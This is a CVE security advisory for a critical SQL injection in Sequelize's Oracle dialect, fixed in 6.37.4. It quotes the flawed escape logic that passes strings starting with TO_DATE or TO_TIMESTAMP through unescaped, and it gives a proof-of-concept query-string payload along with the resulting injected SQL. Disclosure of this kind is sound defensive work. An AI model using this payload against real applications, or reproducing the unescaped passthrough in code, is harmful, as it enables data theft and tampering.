CVE-2026-69240 (GCVE-0-2026-69240)

Vulnerability from cvelistv5 – Published: 2026-08-03 20:28 – Updated: 2026-08-03 20:28

Title

Sequelize: SQL Injection (Oracle DB)

Summary

Sequelize is a Node.js ORM tool. Prior to 6.37.4, SQL injection is possible with strings only if dialect is set to oracle. The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE. In the Oracle dialect, when val is a string and starts with TO_TIMESTAMP or TO_DATE, escape returns val directly instead of replacing single quotes. An attacker can inject arbitrary SQL expressions through an application value that reaches this escape path. This issue is fixed in version 6.37.4.

Severity

9.8 (Critical)

Vulnerability from github – Published: 2026-08-03 20:29 – Updated: 2026-08-03 20:29

Summary

Sequelize: SQL Injection (Oracle DB)

Details

Summary

SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }

PoC

Suppose the application has the following code:

  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact

Data theft and tampering.

Severity

9.8 (Critical)
